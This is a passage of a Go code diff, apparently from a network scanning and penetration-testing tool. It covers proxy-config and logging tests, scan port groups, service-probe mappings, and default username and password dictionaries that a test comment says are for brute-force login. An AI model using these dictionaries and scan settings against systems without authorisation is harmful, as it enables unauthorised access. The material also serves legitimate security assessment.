{"base,info,success", "base,info,success", logging.LevelBaseInfoSuccess},
|
||||
{"BASE_INFO_SUCCESS", "BASE_INFO_SUCCESS", logging.LevelBaseInfoSuccess},
|
||||
|
||||
// 边界情况
|
||||
{"empty string", "", logging.LevelInfoSuccess},
|
||||
{"unknown value", "unknown", logging.LevelInfoSuccess},
|
||||
{"random string", "foobar", logging.LevelInfoSuccess},
|
||||
{"mixed case", "InFo", logging.LevelInfo}, // ToLower后匹配"info"
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := getLogLevelFromString(tt.input)
|
||||
if result != tt.expected {
|
||||
t.Errorf("getLogLevelFromString(%q) = %v, want %v", tt.input, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCreateProxyConfig(t *testing.T) {
|
||||
fv := GetFlagVars()
|
||||
// 保存原始值并在测试后恢复
|
||||
origSocks5 := fv.Socks5Proxy
|
||||
origHTTP := fv.HTTPProxy
|
||||
defer func() {
|
||||
fv.Socks5Proxy = origSocks5
|
||||
fv.HTTPProxy = origHTTP
|
||||
}()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
socks5Proxy string
|
||||
httpProxy string
|
||||
timeout time.Duration
|
||||
expectedType proxy.ProxyType
|
||||
expectedAddr string
|
||||
expectedUser string
|
||||
expectedPass string
|
||||
}{
|
||||
{
|
||||
name: "no proxy",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeNone,
|
||||
expectedAddr: "",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 simple address",
|
||||
socks5Proxy: "127.0.0.1:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 with protocol prefix",
|
||||
socks5Proxy: "socks5://127.0.0.1:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 with auth",
|
||||
socks5Proxy: "socks5://user:[email protected]:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "pass",
|
||||
},
|
||||
{
|
||||
name: "socks5 with auth no protocol",
|
||||
socks5Proxy: "user:[email protected]:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "pass",
|
||||
},
|
||||
{
|
||||
name: "http proxy simple",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "http://127.0.0.1:8080",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeHTTP,
|
||||
expectedAddr: "127.0.0.1:8080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "https proxy",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "https://127.0.0.1:8443",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeHTTPS,
|
||||
expectedAddr: "127.0.0.1:8443",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "http proxy with auth",
|
||||
socks5Proxy: "",
|
||||
httpProxy: "http://user:[email protected]:8080",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeHTTP,
|
||||
expectedAddr: "127.0.0.1:8080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "pass",
|
||||
},
|
||||
{
|
||||
name: "socks5 priority over http",
|
||||
socks5Proxy: "127.0.0.1:1080",
|
||||
httpProxy: "http://127.0.0.1:8080",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "",
|
||||
expectedPass: "",
|
||||
},
|
||||
{
|
||||
name: "socks5 with username only",
|
||||
socks5Proxy: "socks5://[email protected]:1080",
|
||||
httpProxy: "",
|
||||
timeout: 5 * time.Second,
|
||||
expectedType: proxy.ProxyTypeSOCKS5,
|
||||
expectedAddr: "127.0.0.1:1080",
|
||||
expectedUser: "user",
|
||||
expectedPass: "",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
// 设置FlagVars
|
||||
fv.Socks5Proxy = tt.socks5Proxy
|
||||
fv.HTTPProxy = tt.httpProxy
|
||||
|
||||
// 调用函数
|
||||
config := createProxyConfig(tt.timeout)
|
||||
|
||||
// 验证结果
|
||||
if config.Type != tt.expectedType {
|
||||
t.Errorf("Type = %v, want %v", config.Type, tt.expectedType)
|
||||
}
|
||||
if config.Address != tt.expectedAddr {
|
||||
t.Errorf("Address = %q, want %q", config.Address, tt.expectedAddr)
|
||||
}
|
||||
if config.Username != tt.expectedUser {
|
||||
t.Errorf("Username = %q, want %q", config.Username, tt.expectedUser)
|
||||
}
|
||||
if config.Password != tt.expectedPass {
|
||||
t.Errorf("Password = %q, want %q", config.Password, tt.expectedPass)
|
||||
}
|
||||
if config.Timeout != tt.timeout {
|
||||
t.Errorf("Timeout = %v, want %v", config.Timeout, tt.timeout)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCreateProxyConfigEdgeCases(t *testing.T) {
|
||||
fv := GetFlagVars()
|
||||
origSocks5 := fv.Socks5Proxy
|
||||
origHTTP := fv.HTTPProxy
|
||||
defer func() {
|
||||
fv.Socks5Proxy = origSocks5
|
||||
fv.HTTPProxy = origHTTP
|
||||
}()
|
||||
|
||||
t.Run("invalid socks5 url fallback", func(t *testing.T) {
|
||||
fv.Socks5Proxy = "://invalid"
|
||||
fv.HTTPProxy = ""
|
||||
|
||||
config := createProxyConfig(5 * time.Second)
|
||||
|
||||
// 即使 URL 解析失败,也应该回退到原始值或解析后的 Host
|
||||
if config.Type != proxy.ProxyTypeSOCKS5 {
|
||||
t.Errorf("Type = %v, want %v", config.Type, proxy.ProxyTypeSOCKS5)
|
||||
}
|
||||
// URL 解析后提取 Host,对于 "://invalid" 会得到 ":"
|
||||
if config.Address == "" {
|
||||
t.Error("Address should not be empty")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("invalid http url fallback", func(t *testing.T) {
|
||||
fv.Socks5Proxy = ""
|
||||
fv.HTTPProxy = "://invalid"
|
||||
|
||||
config := createProxyConfig(5 * time.Second)
|
||||
|
||||
if config.Type != proxy.ProxyTypeHTTP {
|
||||
t.Errorf("Type = %v, want %v", config.Type, proxy.ProxyTypeHTTP)
|
||||
}
|
||||
// URL 解析后提取 Host,对于无效 URL 可能得到非预期值
|
||||
if config.Address == "" {
|
||||
t.Error("Address should not be empty")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("empty password with username", func(t *testing.T) {
|
||||
fv.Socks5Proxy = "socks5://user:@127.0.0.1:1080"
|
||||
fv.HTTPProxy = ""
|
||||
|
||||
config := createProxyConfig(5 * time.Second)
|
||||
|
||||
if config.Username != "user" {
|
||||
t.Errorf("Username = %q, want %q", config.Username, "user")
|
||||
}
|
||||
if config.Password != "" {
|
||||
t.Errorf("Password = %q, want empty string", config.Password)
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
package common
|
||||
|
||||
import "sync"
|
||||
|
||||
// ResultCallback 扫描结果回调函数类型
|
||||
type ResultCallback func(result interface{})
|
||||
|
||||
var (
|
||||
resultCallback ResultCallback
|
||||
callbackMu sync.RWMutex
|
||||
)
|
||||
|
||||
// SetResultCallback 设置结果回调函数(Web模式使用)
|
||||
func SetResultCallback(cb ResultCallback) {
|
||||
callbackMu.Lock()
|
||||
defer callbackMu.Unlock()
|
||||
resultCallback = cb
|
||||
}
|
||||
|
||||
// NotifyResult 通知结果给回调函数
|
||||
func NotifyResult(result interface{}) {
|
||||
callbackMu.RLock()
|
||||
cb := resultCallback
|
||||
callbackMu.RUnlock()
|
||||
|
||||
if cb != nil {
|
||||
cb(result)
|
||||
}
|
||||
}
|
||||
|
||||
// ClearResultCallback 清除结果回调函数
|
||||
func ClearResultCallback() {
|
||||
callbackMu.Lock()
|
||||
defer callbackMu.Unlock()
|
||||
resultCallback = nil
|
||||
}
|
||||
@@ -0,0 +1,266 @@
|
||||
package config
|
||||
|
||||
// PocInfo POC详细信息结构 - 保留给webscan使用
|
||||
type PocInfo struct {
|
||||
Target string `json:"target"`
|
||||
PocName string `json:"poc_name"`
|
||||
}
|
||||
|
||||
// CredentialPair 精确的用户名密码对
|
||||
type CredentialPair struct {
|
||||
Username string `json:"username"`
|
||||
Password string `json:"password"`
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 端口组常量 - 从common/constants.go迁移
|
||||
// =============================================================================
|
||||
|
||||
// 预定义端口组 - 字符串格式,用于命令行参数默认值
|
||||
var (
|
||||
// 注意:9100 已移除,该端口为打印机 RAW 端口,发送数据会触发打印 (Issue #517)
|
||||
WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
|
||||
|
||||
// MainPorts 主要扫描端口 (约150个)
|
||||
// 包含: 基础服务、远程管理、数据库、消息队列、Web中间件、容器云、监控、安全设备等
|
||||
MainPorts = "" +
|
||||
// 基础服务 (21-995)
|
||||
"21,22,23,25,53,80,81,88,110,111,135,139,143,161,389,443,445,465,502,512,513,514,515,548,554,587,623,636,873,902,993,995," +
|
||||
// 代理/隧道 (1080-1883)
|
||||
"1080,1099,1194,1433,1434,1521,1522,1525,1723,1883," +
|
||||
// 远程/数据库 (2049-3690)
|
||||
"2049,2121,2181,2200,2222,2375,2376,2379,2380,3000,3128,3268,3269,3306,3389,3690," +
|
||||
// Java/中间件 (4369-5986)
|
||||
"4369,4444,4848,5000,5005,5044,5060,5432,5601,5631,5632,5671,5672,5900,5984,5985,5986," +
|
||||
// 缓存/数据库 (6000-6667)
|
||||
"6000,6379,6380,6443,6666,6667," +
|
||||
// Web/中间件 (7001-9999)
|
||||
// 注意:9100 已移除,该端口为打印机 RAW 端口,发送数据会触发打印
|
||||
"7001,7002,7474,7687,8000,8005,8008,8009,8080,8081,8086,8088,8089,8090,8161,8180,8443,8500,8834,8848,8880,8883,8888,9000,9001,9042,9080,9090,9092,9093,9160,9200,9300,9418,9443,9999," +
|
||||
// 管理/监控 (10000-11211)
|
||||
"10000,10051,10250,10255,11211," +
|
||||
// 消息队列/集群 (15672-27018)
|
||||
"15672,22222,26379,27017,27018," +
|
||||
// Hadoop/大数据 (50000-61616)
|
||||
"50000,50070,50075,61613,61614,61616"
|
||||
|
||||
// DbPorts 数据库端口
|
||||
DbPorts = "1433,1521,3306,5432,5672,5984,6379,7687,8086,9042,9093,9160,9200,11211,26379,27017,27018,61616"
|
||||
|
||||
// ServicePorts 服务端口
|
||||
ServicePorts = "21,22,23,25,53,110,111,135,139,143,161,389,445,465,502,512,513,514,587,623,636,873,993,995,1433,1521,1883,2049,2181,2222,3306,3389,5432,5672,5671,5900,5985,5986,6379,8161,8443,8883,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
|
||||
|
||||
// CommonPorts 常用端口
|
||||
CommonPorts = "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986"
|
||||
|
||||
// AllPorts 全端口
|
||||
AllPorts = "1-65535"
|
||||
)
|
||||
|
||||
// GetPortGroups 获取端口组映射 - 用于解析器
|
||||
func GetPortGroups() map[string]string {
|
||||
return map[string]string{
|
||||
"web": WebPorts,
|
||||
"main": MainPorts,
|
||||
"db": DbPorts,
|
||||
"service": ServicePorts,
|
||||
"common": CommonPorts,
|
||||
"all": AllPorts,
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 服务探测配置
|
||||
// =============================================================================
|
||||
|
||||
// DefaultProbeMap 默认探测器列表
|
||||
var DefaultProbeMap = []string{
|
||||
"GenericLines",
|
||||
"GetRequest",
|
||||
"TLSSessionReq",
|
||||
"SSLSessionReq",
|
||||
"ms-sql-s",
|
||||
"JavaRMI",
|
||||
"LDAPSearchReq",
|
||||
"LDAPBindReq",
|
||||
"oracle-tns",
|
||||
"Socks5",
|
||||
}
|
||||
|
||||
// DefaultPortMap 默认端口映射关系
|
||||
var DefaultPortMap = map[int][]string{
|
||||
1: {"GetRequest", "Help"},
|
||||
7: {"Help"},
|
||||
21: {"GenericLines", "Help"},
|
||||
23: {"GenericLines", "tn3270"},
|
||||
25: {"Hello", "Help"},
|
||||
35: {"GenericLines"},
|
||||
42: {"SMBProgNeg"},
|
||||
43: {"GenericLines"},
|
||||
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
|
||||
70: {"GetRequest"},
|
||||
79: {"GenericLines", "GetRequest", "Help"},
|
||||
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
|
||||
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
|
||||
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
|
||||
98: {"GenericLines"},
|
||||
110: {"GenericLines"},
|
||||
111: {"RPCCheck"},
|
||||
113: {"GenericLines", "GetRequest", "Help"},
|
||||
119: {"GenericLines", "Help"},
|
||||
130: {"NotesRPC"},
|
||||
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
|
||||
139: {"GetRequest", "SMBProgNeg"},
|
||||
143: {"GetRequest"},
|
||||
175: {"NJE"},
|
||||
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
|
||||
214: {"GenericLines"},
|
||||
264: {"GenericLines"},
|
||||
311: {"LDAPSearchReq"},
|
||||
340: {"GenericLines"},
|
||||
389: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
|
||||
444: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
|
||||
445: {"SMBProgNeg"},
|
||||
465: {"SSLSessionReq", "TLSSessionReq", "Hello", "Help", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
|
||||
502: {"GenericLines"},
|
||||
503: {"GenericLines"},
|
||||
513: {"GenericLines"},
|
||||
514: {"GenericLines"},
|
||||
515: {"LPDString"},
|
||||
544: {"GenericLines"},
|
||||
548: {"afp"},
|
||||
554: {"GetRequest"},
|
||||
563: {"GenericLines"},
|
||||
587: {"Hello", "Help"},
|
||||
631: {"GetRequest", "HTTPOptions"},
|
||||
636: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
|
||||
646: {"LDAPSearchReq", "RPCCheck"},
|
||||
691: {"GenericLines"},
|
||||
873: {"GenericLines"},
|
||||
898: {"GetRequest"},
|
||||
993: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
|
||||
995: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
|
||||
1080: {"GenericLines", "Socks5", "Socks4"},
|
||||
1099: {"JavaRMI"},
|
||||
1234: {"SqueezeCenter_CLI"},
|
||||
1311: {"GenericLines"},
|
||||
1352: {"oracle-tns"},
|
||||
1414: {"ibm-mqseries"},
|
||||
1433: {"ms-sql-s"},
|
||||
1521: {"oracle-tns"},
|
||||
1723: {"GenericLines"},
|
||||
1883: {"mqtt"},
|
||||
1911: {"oracle-tns"},
|
||||
2000: {"GenericLines", "oracle-tns"},
|
||||
2049: {"RPCCheck"},
|
||||
2121: {"GenericLines", "Help"},
|
||||
2181: {"GenericLines"},
|
||||
2222: {"GetRequest", "GenericLines", "HTTPOptions", "Help", "SSH", "TerminalServerCookie"},
|
||||
2375: {"docker", "GetRequest", "HTTPOptions"},
|
||||
2376: {"TLSSessionReq", "SSLSessionReq", "docker", "GetRequest", "HTTPOptions"},
|
||||
2484: {"oracle-tns"},
|
||||
2628: {"dominoconsole"},
|
||||
3000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
3268: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
3269: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
|
||||
3306: {"GenericLines", "GetRequest", "HTTPOptions"},
|
||||
3389: {"TerminalServerCookie", "TerminalServer"},
|
||||
3690: {"GenericLines"},
|
||||
4000: {"GenericLines"},
|
||||
4369: {"epmd"},
|
||||
4444: {"GenericLines"},
|
||||
4840: {"GenericLines"},
|
||||
5000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
5050: {"GenericLines"},
|
||||
5060: {"SIPOptions"},
|
||||
5222: {"GenericLines"},
|
||||
5432: {"GenericLines"},
|
||||
5555: {"GenericLines"},
|
||||
5560: {"GenericLines", "oracle-tns"},
|
||||
5631: {"GenericLines", "PCWorkstation"},
|
||||
5672: {"GenericLines"},
|
||||
5984: {"GetRequest", "HTTPOptions"},
|
||||
6000: {"X11Probe"},
|
||||
6379: {"redis-server"},
|
||||
6432: {"GenericLines"},
|
||||
6667: {"GenericLines"},
|
||||
7000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
7001: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
7002: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
7070: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
7443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions"},
|
||||
7777: {"GenericLines", "oracle-tns"},
|
||||
8000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "iperf3"},
|
||||
8005: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8008: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8009: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "ajp"},
|
||||
8080: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8081: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8089: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8090: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions"},
|
||||
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
9000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
9042: {"GenericLines"},
|
||||
9092: {"GenericLines", "kafka"},
|
||||
9200: {"GetRequest", "HTTPOptions", "elasticsearch"},
|
||||
9300: {"GenericLines"},
|
||||
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "adbConnect"},
|
||||
10000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
10051: {"GenericLines"},
|
||||
11211: {"Memcache"},
|
||||
15672: {"GetRequest", "HTTPOptions"},
|
||||
27017: {"mongodb"},
|
||||
27018: {"mongodb"},
|
||||
50070: {"GetRequest", "HTTPOptions"},
|
||||
61616: {"GenericLines"},
|
||||
}
|
||||
|
||||
// DefaultUserDict 默认服务用户字典
|
||||
var DefaultUserDict = map[string][]string{
|
||||
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
|
||||
"mysql": {"root", "mysql"},
|
||||
"mssql": {"sa", "sql"},
|
||||
"smb": {"administrator", "admin", "guest"},
|
||||
"rdp": {"administrator", "admin", "guest"},
|
||||
"postgresql": {"postgres", "admin"},
|
||||
"ssh": {"root", "admin"},
|
||||
"mongodb": {"root", "admin"},
|
||||
"redis": {""},
|
||||
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
|
||||
"telnet": {"root", "admin", "test"},
|
||||
"elastic": {"elastic", "admin", "kibana"},
|
||||
"rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
|
||||
"kafka": {"admin", "kafka", "root", "test"},
|
||||
"activemq": {"admin", "root", "activemq", "system", "user"},
|
||||
"ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
|
||||
"smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
|
||||
"imap": {"admin", "mail", "postmaster", "root", "user", "test"},
|
||||
"pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
|
||||
"zabbix": {"Admin", "admin", "guest", "user"},
|
||||
"rsync": {"root", "admin", "backup"},
|
||||
"cassandra": {"cassandra", "admin", "root", "system"},
|
||||
"neo4j": {"neo4j", "admin", "root", "test"},
|
||||
}
|
||||
|
||||
// DefaultPasswords 默认密码字典
|
||||
var DefaultPasswords = []string{
|
||||
"123456", "admin", "admin123", "root", "", "pass123", "pass@123",
|
||||
"password", "Password", "P@ssword123", "123123", "654321", "111111",
|
||||
"123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}",
|
||||
"{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123",
|
||||
"{user}#123", "{user}@111", "{user}@2019", "{user}@123#4",
|
||||
"P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test",
|
||||
"test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666",
|
||||
"a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888",
|
||||
"!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111",
|
||||
"a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123",
|
||||
"Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ",
|
||||
"2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456",
|
||||
"1q2w3e", "Charge123", "Aa123456789", "redis", "elastic123",
|
||||
}
|
||||
@@ -0,0 +1,393 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
/*
|
||||
constants_test.go - 配置常量测试
|
||||
|
||||
测试目标:端口组、探测器配置、字典数据
|
||||
价值:配置错误会导致:
|
||||
- 端口组错误 → 扫描范围错误(用户遗漏目标)
|
||||
- 字典错误 → 暴力破解失败(无法登录系统)
|
||||
- 探测器配置错误 → 服务识别失败
|
||||
|
||||
"配置是数据,但数据也会有bug。端口范围错误、字典重复、
|
||||
空值遗漏——这些都是真实问题。测试数据和测试代码一样重要。"
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// 端口组测试
|
||||
// =============================================================================
|
||||
|
||||
// TestPortGroups_Format 测试端口组格式
|
||||
//
|
||||
// 验证:所有端口组字符串格式正确(可解析为端口列表)
|
||||
func TestPortGroups_Format(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
portGroup string
|
||||
}{
|
||||
{"WebPorts", WebPorts},
|
||||
{"MainPorts", MainPorts},
|
||||
{"DbPorts", DbPorts},
|
||||
{"ServicePorts", ServicePorts},
|
||||
{"CommonPorts", CommonPorts},
|
||||
{"AllPorts", AllPorts},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
// 验证格式:逗号分隔的数字或范围
|
||||
if tt.portGroup == "" {
|
||||
t.Error("端口组不应为空")
|
||||
return
|
||||
}
|
||||
|
||||
// AllPorts是特殊格式"1-65535"
|
||||
if tt.portGroup == "1-65535" {
|
||||
t.Logf("✓ %s 格式正确(范围格式)", tt.name)
|
||||
return
|
||||
}
|
||||
|
||||
// 其他端口组应该是逗号分隔的数字
|
||||
ports := strings.Split(tt.portGroup, ",")
|
||||
if len(ports) == 0 {
|
||||
t.Error("端口组应该包含至少一个端口")
|
||||
return
|
||||
}
|
||||
|
||||
// 验证每个端口都是有效数字
|
||||
for i, portStr := range ports {
|
||||
port, err := strconv.Atoi(strings.TrimSpace(portStr))
|
||||
if err != nil {
|
||||
t.Errorf("第%d个端口 '%s' 不是有效数字: %v", i+1, portStr, err)
|
||||
continue
|
||||
}
|
||||
|
||||
// 验证端口范围
|
||||
if port < 1 || port > 65535 {
|
||||
t.Errorf("第%d个端口 %d 超出有效范围 [1-65535]", i+1, port)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ %s 格式正确(%d个端口)", tt.name, len(ports))
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestPortGroups_NoEmpty 测试端口组非空
|
||||
func TestPortGroups_NoEmpty(t *testing.T) {
|
||||
groups := map[string]string{
|
||||
"WebPorts": WebPorts,
|
||||
"MainPorts": MainPorts,
|
||||
"DbPorts": DbPorts,
|
||||
"ServicePorts": ServicePorts,
|
||||
"CommonPorts": CommonPorts,
|
||||
"AllPorts": AllPorts,
|
||||
}
|
||||
|
||||
for name, ports := range groups {
|
||||
if ports == "" {
|
||||
t.Errorf("%s 不应为空字符串", name)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ 所有端口组非空")
|
||||
}
|
||||
|
||||
// TestPortGroups_NoDuplicates 测试端口组无重复
|
||||
func TestPortGroups_NoDuplicates(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
portGroup string
|
||||
}{
|
||||
{"WebPorts", WebPorts},
|
||||
{"MainPorts", MainPorts},
|
||||
{"DbPorts", DbPorts},
|
||||
{"ServicePorts", ServicePorts},
|
||||
{"CommonPorts", CommonPorts},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if tt.portGroup == "1-65535" {
|
||||
t.Skip("范围格式无需检查重复")
|
||||
return
|
||||
}
|
||||
|
||||
ports := strings.Split(tt.portGroup, ",")
|
||||
seen := make(map[string]bool)
|
||||
duplicates := []string{}
|
||||
|
||||
for _, port := range ports {
|
||||
port = strings.TrimSpace(port)
|
||||
if seen[port] {
|
||||
duplicates = append(duplicates, port)
|
||||
}
|
||||
seen[port] = true
|
||||
}
|
||||
|
||||
if len(duplicates) > 0 {
|
||||
t.Errorf("%s 包含重复端口: %v", tt.name, duplicates)
|
||||
} else {
|
||||
t.Logf("✓ %s 无重复端口", tt.name)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestGetPortGroups_Completeness 测试GetPortGroups完整性
|
||||
//
|
||||
// 验证:返回的map包含所有预定义的端口组
|
||||
func TestGetPortGroups_Completeness(t *testing.T) {
|
||||
groups := GetPortGroups()
|
||||
|
||||
expectedKeys := []string{"web", "main", "db", "service", "common", "all"}
|
||||
for _, key := range expectedKeys {
|
||||
if _, ok := groups[key]; !ok {
|
||||
t.Errorf("GetPortGroups缺少键: %s", key)
|
||||
}
|
||||
}
|
||||
|
||||
if len(groups) != len(expectedKeys) {
|
||||
t.Errorf("GetPortGroups返回%d个组,期望%d个", len(groups), len(expectedKeys))
|
||||
}
|
||||
|
||||
t.Logf("✓ GetPortGroups包含所有%d个端口组", len(expectedKeys))
|
||||
}
|
||||
|
||||
// TestGetPortGroups_Values 测试GetPortGroups返回正确的值
|
||||
func TestGetPortGroups_Values(t *testing.T) {
|
||||
groups := GetPortGroups()
|
||||
|
||||
tests := []struct {
|
||||
key string
|
||||
expected string
|
||||
}{
|
||||
{"web", WebPorts},
|
||||
{"main", MainPorts},
|
||||
{"db", DbPorts},
|
||||
{"service", ServicePorts},
|
||||
{"common", CommonPorts},
|
||||
{"all", AllPorts},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.key, func(t *testing.T) {
|
||||
actual, ok := groups[tt.key]
|
||||
if !ok {
|
||||
t.Fatalf("GetPortGroups缺少键: %s", tt.key)
|
||||
}
|
||||
|
||||
if actual != tt.expected {
|
||||
t.Errorf("GetPortGroups[%s] 值不匹配\n期望前20字符: %s...\n实际前20字符: %s...",
|
||||
